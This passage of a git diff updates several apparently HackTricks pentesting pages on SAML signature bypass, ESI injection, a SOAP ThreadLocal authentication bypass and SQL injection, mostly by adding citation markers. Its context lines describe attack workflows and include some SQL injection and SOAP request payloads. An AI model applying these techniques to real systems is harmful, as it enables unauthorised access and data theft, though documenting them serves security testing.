[**this blog post**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **and** [**this paper**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). So check those for further details. +The following attacks ara based on [**this blog post**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **and** [**this paper**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). So check those for further details.[[3]](#references)[[4]](#references) ### XSW #1 @@ -122,13 +122,13 @@ You can use the Burp extension [**SAML Raider**](https://portswigger.net/bappsto ## Ruby-SAML signature verification bypass (CVE-2024-45409) -**Impact**: If the Service Provider uses vulnerable Ruby-SAML (ex. GitLab SAML SSO), an attacker who can obtain **any IdP-signed SAMLResponse** can **forge a new assertion** and authenticate as arbitrary users. +**Impact**: If the Service Provider uses vulnerable Ruby-SAML (ex. GitLab SAML SSO), an attacker who can obtain **any IdP-signed SAMLResponse** can **forge a new assertion** and authenticate as arbitrary users.[[5]](#references) -**High-level workflow** (signature-wrapping style bypass): +**High-level workflow** (signature-wrapping style bypass):[[6]](#references) 1. Capture a **legitimate SAMLResponse** in the SSO POST (Burp or browser devtools). You only need any IdP-signed response for the target SP. 2. Decode the transport encoding to raw XML (typical order): **URL decode → Base64 decode → raw inflate**. -3. Use a PoC (for example, the Synacktiv script) to **patch IDs/NameID/conditions** and **rewrite signature references/digests** so validation still passes while the SP consumes attacker-controlled assertion fields. +3. Use a PoC (for example, the Synacktiv script) to **patch IDs/NameID/conditions** and **rewrite signature references/digests** so validation still passes while the SP consumes attacker-controlled assertion fields.[[7]](#references) 4. Re-encode the patched XML (**raw deflate → Base64 → URL encode**) and replay it to the SAML callback endpoint. If successful, the SP logs you in as the chosen user. Example using the Synacktiv PoC (input is the captured SAMLResponse blob): @@ -213,7 +213,7 @@ Check also this talk: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www. ## XML Signature Exclusion -The **XML Signature Exclusion** observes the behavior of SAML implementations when the Signature element is not present. If this element is missing, **signature validation may not occur**, making it vulnerable. It's possibel to test this by altering the contents that are usually verified by the signature. +The **XML Signature Exclusion** observes the behavior of SAML implementations when the Signature element is not present. If this element is missing, **signature validation may not occur**, making it vulnerable. It's possibel to test this by altering the contents that are usually verified by the signature.[[8]](#references) ![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../images/image (457).png>) @@ -227,7 +227,7 @@ With the signatures removed, allow the request to proceed to the target. If the ## Certificate Faking -Certificate Faking is a technique to test if a **Service Provider (SP) properly verifies that a SAML Message is signed** by a trusted Identity Provider (IdP). It involves using a \***self-signed certificate** to sign the SAML Response or Assertion, which helps in evaluating the trust validation process between SP and IdP. +Certificate Faking is a technique to test if a **Service Provider (SP) properly verifies that a SAML Message is signed** by a trusted Identity Provider (IdP). It involves using a \***self-signed certificate** to sign the SAML Response or Assertion, which helps in evaluating the trust validation process between SP and IdP.[[8]](#references) ### How to Conduct Certificate Faking @@ -243,7 +243,7 @@ The following steps outline the process using the [SAML Raider](https://portswig ## Token Recipient Confusion / Service Provider Target Confusion -Token Recipient Confusion and Service Provider Target Confusion involve checking whether the **Service Provider correctly validates the intended recipient of a response**. In essence, a Service Provider should reject an authentication response if it was meant for a different provider. The critical element here is the **Recipient** field, found within the **SubjectConfirmationData** element of a SAML Response. This field specifies a URL indicating where the Assertion must be sent. If the actual recipient does not match the intended Service Provider, the Assertion should be deemed invalid. +Token Recipient Confusion and Service Provider Target Confusion involve checking whether the **Service Provider correctly validates the intended recipient of a response**. In essence, a Service Provider should reject an authentication response if it was meant for a different provider. The critical element here is the **Recipient** field, found within the **SubjectConfirmationData** element of a SAML Response. This field specifies a URL indicating where the Assertion must be sent. If the actual recipient does not match the intended Service Provider, the Assertion should be deemed invalid.[[8]](#references) #### **How It Works** @@ -274,7 +274,7 @@ def intercept_and_redirect_saml_response(saml_response, sp_target_url): ## XSS in Logout functionality -The original research can be accessed through [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/). +The original research can be accessed through [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).[[9]](#references) During the process of directory brute forcing, a logout page was discovered at: @@ -292,7 +292,7 @@ This revealed that the `base` parameter accepts a URL. Considering this, the ide ### Mass Exploitation -[From this research](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/): +[From this research](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):[[9]](#references) The [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) tool was used to analyze subdomains of `uberinternal.com` for domains utilizing the same library. Subsequently, a script was developed to target the `oidauth/prompt` page. This script tests for XSS (Cross-Site Scripting) by inputting data and checking if it's reflected in the output. In cases where the input is indeed reflected, the script flags the page as vulnerable. @@ -316,7 +316,7 @@ with open("/home/fady/uberSAMLOIDAUTH") as urlList: ## RelayState-based header/body injection to rXSS -Some SAML SSO endpoints decode `RelayState` and then reflect it into the response without sanitization. If you can inject newlines and override the response `Content-Type`, you can force the browser to render attacker-controlled HTML, achieving reflected XSS. +Some SAML SSO endpoints decode `RelayState` and then reflect it into the response without sanitization. If you can inject newlines and override the response `Content-Type`, you can force the browser to render attacker-controlled HTML, achieving reflected XSS.[[10]](#references) - Idea: abuse response-splitting via newline injection in the reflected RelayState. See also the generic notes in [CRLF injection](../crlf-0d-0a.md). - Works even when RelayState is base64-decoded server-side: supply a base64 that decodes to header/body injection. @@ -373,7 +373,7 @@ Why it works: the server decodes `RelayState` and incorporates it into the respo ## Unterminated / unquoted SAML attribute overread (IdP parser bugs) -Some SAML IdP implementations use **custom XML parsers** for `AuthnRequest` attributes and try to recover from malformed XML instead of rejecting it. A recurring bug class is that **quoted** attribute values stop correctly, but the **error-recovery path for unquoted values** only stops on a literal space, `>` or `NUL`. That lets attackers make the parser **over-consume later XML** and, in the worst case, **read past the request buffer**. +Some SAML IdP implementations use **custom XML parsers** for `AuthnRequest` attributes and try to recover from malformed XML instead of rejecting it. A recurring bug class is that **quoted** attribute values stop correctly, but the **error-recovery path for unquoted values** only stops on a literal space, `>` or `NUL`. That lets attackers make the parser **over-consume later XML** and, in the worst case, **read past the request buffer**.[[11]](#references)[[12]](#references) This is especially interesting when the parsed fields are later **reflected** into: @@ -458,15 +458,17 @@ The same parser weakness that gives an overread can also crash the SAML processi ## References -- [CitrixBleed To Infinity And Beyond: Citrix NetScaler Pre-Auth Memory Overread CVE-2026-8451](https://labs.watchtowr.com/citrixbleed-to-infinity-and-beyond-citrix-netscaler-pre-auth-memory-overread-cve-2026-8451/) -- [watchTowr-vs-Netscaler-CVE-2026-8451](https://github.com/watchtowrlabs/watchTowr-vs-Netscaler-CVE-2026-8451) -- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) -- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) -- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/) -- [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) -- [Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)](https://labs.watchtowr.com/is-it-citrixbleed4-well-no-is-it-good-also-no-citrix-netscalers-memory-leak-rxss-cve-2025-12101/) -- [https://0xdf.gitlab.io/2026/03/03/htb-barrier.html](https://0xdf.gitlab.io/2026/03/03/htb-barrier.html) -- [https://github.com/synacktiv/CVE-2024-45409](https://github.com/synacktiv/CVE-2024-45409) -- [https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2](https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2) +- [1] [Securing XML implementations across the web](https://mattermost.com/blog/securing-xml-implementations-across-the-web/) +- [2] [SAML is insecure by design](https://joonas.fi/2021/08/saml-is-insecure-by-design/) +- [3] [How to Test SAML: A Methodology (Part Two)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) +- [4] [On Breaking SAML: Be Whoever You Want to Be](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf) +- [5] [ruby-saml Security Advisory GHSA-jw9c-mfg7-9rx2 (CVE-2024-45409)](https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2) +- [6] [HTB: Barrier](https://0xdf.gitlab.io/2026/03/03/htb-barrier.html) +- [7] [synacktiv/CVE-2024-45409 PoC](https://github.com/synacktiv/CVE-2024-45409) +- [8] [How to Test SAML: A Methodology (Part Three)](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/) +- [9] [How I discovered XSS that affects over 20 Uber subdomains](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) +- [10] [Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)](https://labs.watchtowr.com/is-it-citrixbleed4-well-no-is-it-good-also-no-citrix-netscalers-memory-leak-rxss-cve-2025-12101/) +- [11] [CitrixBleed To Infinity And Beyond: Citrix NetScaler Pre-Auth Memory Overread CVE-2026-8451](https://labs.watchtowr.com/citrixbleed-to-infinity-and-beyond-citrix-netscaler-pre-auth-memory-overread-cve-2026-8451/) +- [12] [watchTowr-vs-Netscaler-CVE-2026-8451](https://github.com/watchtowrlabs/watchTowr-vs-Netscaler-CVE-2026-8451) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/saml-attacks/saml-basics.md b/src/pentesting-web/saml-attacks/saml-basics.md index 2817e53a8fa..e880822ffed 100644 --- a/src/pentesting-web/saml-attacks/saml-basics.md +++ b/src/pentesting-web/saml-attacks/saml-basics.md @@ -13,7 +13,7 @@ ## SAML Authentication Flow -**For further details check the full post from [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)**. This is a summary: +**For further details check the full post from [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)**. This is a summary:[[1]](#references) The SAML authentication process involves several steps, as illustrated in the schema: @@ -55,11 +55,11 @@ Key elements of this request include: - **ProtocolBinding**: Defines the transmission method of SAML protocol messages. - **saml:Issuer**: Identifies the entity that initiated the request. -Following the SAML Request generation, the SP responds with a **302 redirect**, directing the browser to the IdP with the SAML Request encoded in the HTTP response's **Location** header. The **RelayState** parameter maintains the state information throughout the transaction, ensuring the SP recognizes the initial resource request upon receiving the SAML Response. The **SAMLRequest** parameter is a compressed and encoded version of the raw XML snippet, utilizing Deflate compression and base64 encoding. +Following the SAML Request generation, the SP responds with a **302 redirect**, directing the browser to the IdP with the SAML Request encoded in the HTTP response's **Location** header. The **RelayState** parameter maintains the state information throughout the transaction, ensuring the SP recognizes the initial resource request upon receiving the SAML Response. The **SAMLRequest** parameter is a compressed and encoded version of the raw XML snippet, utilizing Deflate compression and base64 encoding.[[1]](#references) ## SAML Response Example -You can find a [full SAML response here](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). The key components of the response include: +You can find a [full SAML response here](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). The key components of the response include:[[1]](#references) - **ds:Signature**: This section, an XML Signature, ensures the integrity and authenticity of the issuer of the assertion. The SAML response in the example contains two `ds:Signature` elements, one for the message and the other for the assertion. - **saml:Assertion**: This part holds information about the user's identity and possibly other attributes. @@ -71,11 +71,11 @@ You can find a [full SAML response here](https://epi052.gitlab.io/notes-to-self/ Following the SAML Response, the process includes a 302 redirect from the IdP. This leads to a POST request to the Service Provider's Assertion Consumer Service (ACS) URL. The POST request includes `RelayState` and `SAMLResponse` parameters. The ACS is responsible for processing and validating the SAML Response. -After the POST request is received and the SAML Response is validated, access is granted to the protected resource initially requested by the user. This is illustrated with a `GET` request to the `/secure/` endpoint and a `200 OK` response, indicating successful access to the resource. +After the POST request is received and the SAML Response is validated, access is granted to the protected resource initially requested by the user. This is illustrated with a `GET` request to the `/secure/` endpoint and a `200 OK` response, indicating successful access to the resource.[[1]](#references) ## XML Signatures -XML Signatures are versatile, capable of signing an entire XML tree or specific elements within it. They can be applied to any XML Object, not just Response elements. Below are the key types of XML Signatures: +XML Signatures are versatile, capable of signing an entire XML tree or specific elements within it. They can be applied to any XML Object, not just Response elements. Below are the key types of XML Signatures:[[1]](#references) ### Basic Structure of XML Signature @@ -164,9 +164,7 @@ In conclusion, XML Signatures provide flexible ways to secure XML documents, wit ## References -- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) +- [1] [How to test SAML: a methodology](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md index 8a748806064..ca8c124269a 100644 --- a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md +++ b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md @@ -17,7 +17,7 @@ And, when the page is served, this fragment will be evaluated and replaced with The decision of when to use SSI, and when to have your page entirely generated by some program, is usually a matter of how much of the page is static, and how much needs to be recalculated every time the page is served. SSI is a great way to add small pieces of information, such as the current time - shown above. But if a majority of your page is being generated at the time that it is served, you need to look for some other solution. -You can infer the presence of SSI if the web application uses files with the extensions**`.shtml`, `.shtm` or `.stm`**, but it's not only the case. +You can infer the presence of SSI if the web application uses files with the extensions**`.shtml`, `.shtm` or `.stm`**, but it's not only the case.[[1]](#references) A typical SSI expression has the following format: @@ -97,7 +97,7 @@ hello ### ESI exploitation -[GoSecure created](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) a table to understand possible attacks that we can try against different ESI-capable software, depending on the functionality supported: +[GoSecure created](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) a table to understand possible attacks that we can try against different ESI-capable software, depending on the functionality supported:[[2]](#references) - **Includes**: Supports the `` directive - **Vars**: Supports the `` directive. Useful for bypassing XSS Filters @@ -141,7 +141,7 @@ Use to bypass WAFs: ``` -- Steal cookie HTTP_ONLY with XSS by reflecting it in the response: +- Steal cookie HTTP_ONLY with XSS by reflecting it in the response:[[4]](#references) ```bash # This will reflect the cookies in the response @@ -168,7 +168,7 @@ Do not confuse this with a "Local File Inclusion": #### Open Redirect -The following will add a `Location` header to the response +The following will add a `Location` header to the response[[4]](#references) ```bash @@ -176,7 +176,7 @@ The following will add a `Location` header to the response #### Add Header -- Add header in forced request +- Add header in forced request[[3]](#references) ```xml @@ -184,7 +184,7 @@ The following will add a `Location` header to the response ``` -- Add header in response (useful to bypass "Content-Type: text/json" in a response with XSS) +- Add header in response (useful to bypass "Content-Type: text/json" in a response with XSS)[[4]](#references) ```bash @@ -213,7 +213,7 @@ This will send debug information included in the response: ### ESI + XSLT = XXE -It's possible to use **`eXtensible Stylesheet Language Transformations (XSLT)`** syntax in ESI just by indicating the param **`dca`** value as **`xslt`**. Which might allow to abuse **XSLT** to create and abuse a XML External Entity vulnerability (XXE): +It's possible to use **`eXtensible Stylesheet Language Transformations (XSLT)`** syntax in ESI just by indicating the param **`dca`** value as **`xslt`**. Which might allow to abuse **XSLT** to create and abuse a XML External Entity vulnerability (XXE):[[3]](#references) ```xml @@ -234,12 +234,6 @@ Check the XSLT page: xslt-server-side-injection-extensible-stylesheet-language-transformations.md {{#endref}} -### References - -- [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) -- [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/) -- [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91) - ## Brute-Force Detection List @@ -247,4 +241,11 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt {{#endref}} +## References + +- [1] [Apache HTTP Server Tutorial: Server Side Includes](https://httpd.apache.org/docs/current/howto/ssi.html) +- [2] [Beyond XSS: Edge Side Include Injection](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) +- [3] [ESI Injection Part 2: Abusing specific implementations](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/) +- [4] [Exploring the World of ESI Injection](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/soap-jax-ws-threadlocal-auth-bypass.md b/src/pentesting-web/soap-jax-ws-threadlocal-auth-bypass.md index 8fa4033822a..2d66c045773 100644 --- a/src/pentesting-web/soap-jax-ws-threadlocal-auth-bypass.md +++ b/src/pentesting-web/soap-jax-ws-threadlocal-auth-bypass.md @@ -6,12 +6,12 @@ - Some middleware chains store the authenticated `Subject`/`Principal` inside a static `ThreadLocal` and only refresh it when a proprietary SOAP header arrives. - Because WebLogic/JBoss/GlassFish recycle worker threads, dropping that header causes the last privileged `Subject` processed by the thread to be silently reused. -- Hammer the vulnerable endpoint with header-less but well-formed SOAP bodies until a reused thread grants you the stolen administrator context. -- 2025 HID ActivID/IASP (HID-PSA-2025-002) is a real-world instance: JAX-WS handler caches a `SubjectHolder` `ThreadLocal`, letting unauthenticated SOAP calls inherit the identity set by previous console/SSP requests. +- Hammer the vulnerable endpoint with header-less but well-formed SOAP bodies until a reused thread grants you the stolen administrator context.[[3]](#references) +- 2025 HID ActivID/IASP (HID-PSA-2025-002) is a real-world instance: JAX-WS handler caches a `SubjectHolder` `ThreadLocal`, letting unauthenticated SOAP calls inherit the identity set by previous console/SSP requests.[[1]](#references)[[2]](#references) ## Root Cause -Handlers similar to the following only overwrite the thread-local identity when the custom header is present, so the previous request's context survives: +Handlers similar to the following only overwrite the thread-local identity when the custom header is present, so the previous request's context survives:[[3]](#references) ```java public boolean handleMessage(SOAPMessageContext ctx) { @@ -30,14 +30,14 @@ public boolean handleMessage(SOAPMessageContext ctx) { 1. Enumerate the reverse proxy / routing rules to locate hidden SOAP trees that may block `?wsdl` yet accept POSTs (map them alongside the flow in [80,443 - Pentesting Web Methodology](../network-services-pentesting/pentesting-web/README.md)). 2. Unpack the EAR/WAR/EJB artifacts (`unzip *.ear`) and inspect `application.xml`, `web.xml`, `@WebService` annotations, and handler chains (e.g., `LoginHandlerChain.xml`) to uncover the handler class, SOAP header QName, and the backing EJB names. -3. If metadata is missing, brute-force likely `ServiceName?wsdl` paths or temporarily relax lab proxies, then import any recovered WSDL into tooling such as [Burp Suite Wsdler](https://portswigger.net/bappstore/594a49bb233748f2bc80a9eb18a2e08f) to generate baseline envelopes. +3. If metadata is missing, brute-force likely `ServiceName?wsdl` paths or temporarily relax lab proxies, then import any recovered WSDL into tooling such as [Burp Suite Wsdler](https://portswigger.net/bappstore/594a49bb233748f2bc80a9eb18a2e08f) to generate baseline envelopes.[[4]](#references) 4. Review the handler sources for `ThreadLocal` keepers (e.g., `SubjectHolder.setSubject()`) that are never cleared when the authentication header is missing or malformed. ## Exploitation 1. Send a valid request **with** the proprietary header to learn the normal response codes and any error used for invalid tokens. 2. Resend the same SOAP body while omitting the header. Keep the XML well-formed and respect the required namespaces so the handler exits cleanly. -3. Loop the request; when it lands on a thread that previously executed a privileged action, the reused `Subject` unlocks protected operations such as user or credential managers. +3. Loop the request; when it lands on a thread that previously executed a privileged action, the reused `Subject` unlocks protected operations such as user or credential managers.[[3]](#references) ```http POST /ac-iasp-backend-jaxws/UserManager HTTP/1.1 @@ -58,7 +58,7 @@ Content-Type: text/xml;charset=UTF-8 ### 2025 HID ActivID/IASP case study (HID-PSA-2025-002) -- Synacktiv showed the JAX-WS `LoginHandler` in ActivID 8.6–8.7 sets `SubjectHolder.subject` when a `mySubjectHeader` SOAP header is present or when console/SSP traffic authenticates, but never clears it when the header is absent. +- Synacktiv showed the JAX-WS `LoginHandler` in ActivID 8.6–8.7 sets `SubjectHolder.subject` when a `mySubjectHeader` SOAP header is present or when console/SSP traffic authenticates, but never clears it when the header is absent.[[1]](#references)[[2]](#references) - Any subsequent SOAP call lacking the header on the same worker thread inherits that cached `Subject`, allowing unauthenticated creation of administrator users or credential import via endpoints such as `UserManager` or `CredentialManager`. - Reliable exploitation pattern observed: 1. Trigger an authenticated context on many threads (e.g., spam `/ssp` or log into `/aiconsole` as admin in another browser tab). @@ -71,14 +71,14 @@ Content-Type: text/xml;charset=UTF-8 ## Validating the Bug -- Attach JDWP (`-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n`) or similar debugging hooks to watch the `ThreadLocal` contents before and after each call, confirming that an unauthenticated request inherited a prior administrator `Subject`. -- In production appliances you can also instrument with JFR or BTrace to dump `SubjectHolder.getSubject()` per request, verifying header-less reuse. +- Attach JDWP (`-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n`) or similar debugging hooks to watch the `ThreadLocal` contents before and after each call, confirming that an unauthenticated request inherited a prior administrator `Subject`.[[3]](#references) +- In production appliances you can also instrument with JFR or BTrace to dump `SubjectHolder.getSubject()` per request, verifying header-less reuse.[[1]](#references)[[2]](#references) ## References -- [Synacktiv – ActivID authentication bypass (HID-PSA-2025-002)](https://www.synacktiv.com/en/advisories/activid-authentication-bypass.html) -- [HID Global – Product Security Advisory HID-PSA-2025-002 SOAP-API Authentication Bypass](https://www.hidglobal.com/sites/default/files/documentlibrary/HID-PSA-2025-02%20SOAP_API_a.pdf) -- [Synacktiv – ActivID administrator account takeover: the story behind HID-PSA-2025-002](https://www.synacktiv.com/publications/activid-administrator-account-takeover-the-story-behind-hid-psa-2025-002.html) -- [PortSwigger – Wsdler (WSDL parser) extension](https://portswigger.net/bappstore/594a49bb233748f2bc80a9eb18a2e08f) +- [1] [Synacktiv – ActivID authentication bypass (HID-PSA-2025-002)](https://www.synacktiv.com/en/advisories/activid-authentication-bypass.html) +- [2] [HID Global – Product Security Advisory HID-PSA-2025-002 SOAP-API Authentication Bypass](https://www.hidglobal.com/sites/default/files/documentlibrary/HID-PSA-2025-02%20SOAP_API_a.pdf) +- [3] [Synacktiv – ActivID administrator account takeover: the story behind HID-PSA-2025-002](https://www.synacktiv.com/publications/activid-administrator-account-takeover-the-story-behind-hid-psa-2025-002.html) +- [4] [PortSwigger – Wsdler (WSDL parser) extension](https://portswigger.net/bappstore/594a49bb233748f2bc80a9eb18a2e08f) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/README.md b/src/pentesting-web/sql-injection/README.md index ea152f1d855..8d3d5102d03 100644 --- a/src/pentesting-web/sql-injection/README.md +++ b/src/pentesting-web/sql-injection/README.md @@ -191,7 +191,7 @@ In some cases the **sleep functions won't be allowed**. Then, instead of using t ### Identifying Back-end -The best way to identify the back-end is trying to execute functions of the different back-ends. You could use the _**sleep**_ **functions** of the previous section or these ones (table from [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification): +The best way to identify the back-end is trying to execute functions of the different back-ends. You could use the _**sleep**_ **functions** of the previous section or these ones (table from [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):[[1]](#references) ```bash ["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"], @@ -298,7 +298,7 @@ This can be accomplished through the use of blind injection techniques alongside Once the query has been extracted, it's necessary to tailor your payload to safely close the original query. Subsequently, a union query is appended to your payload, facilitating the exploitation of the newly accessible union-based injection. -For more comprehensive insights, refer to the complete article available at [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f). +For more comprehensive insights, refer to the complete article available at [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).[[2]](#references) ## Exploiting Error based @@ -368,7 +368,7 @@ We have already discussed all the ways to exploit a SQL Injection vulnerability. - [Oracle](oracle-injection.md) - [PostgreSQL](postgresql-injection/index.html) -Or you will find **a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) +Or you will find **a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, SQLite and HQL in** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)[[1]](#references) ## Authentication bypass @@ -450,9 +450,9 @@ If the database is vulnerable and the max number of chars for username is for ex The database will **check** if the introduced **username** **exists** inside the database. If **not**, it will **cut** the **username** to the **max allowed number of characters** (in this case to: "_admin \[25 spaces]_") and the it will **automatically remove all the spaces at the end updating** inside the database the user "**admin**" with the **new password** (some error could appear but it doesn't means that this hasn't worked). -More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) +More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)[[3]](#references)[[4]](#references) -_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation) +_Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)[[5]](#references) ### MySQL Insert time based checking @@ -522,7 +522,7 @@ Using **hex** and **replace** (and **substr**): ## Routed SQL injection -Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)) +Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))[[6]](#references) Example: @@ -533,7 +533,7 @@ Example: ## WAF Bypass -[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass) +[Initial bypasses from here](https://github.com/Ne3o1/PayLoadAllTheThings/blob/master/SQL%20injection/README.md#waf-bypass)[[7]](#references) ### No spaces bypass @@ -592,7 +592,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database()) ### Scientific Notation WAF bypass -You can find a more in depth explaination of this trick in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\ +You can find a more in depth explaination of this trick in [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).[[8]](#references)\ Basically you can use the scientific notation in unexpected ways for the WAF to bypass it: ``` @@ -619,11 +619,11 @@ Or using a **comma bypass**: -1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c ``` -This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) +This trick was taken from [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)[[9]](#references) ### Column/tablename injection in SELECT list via subqueries -If user input is concatenated into the SELECT list or table/column identifiers, prepared statements won’t help because bind parameters only protect values, not identifiers. A common vulnerable pattern is: +If user input is concatenated into the SELECT list or table/column identifiers, prepared statements won’t help because bind parameters only protect values, not identifiers. A 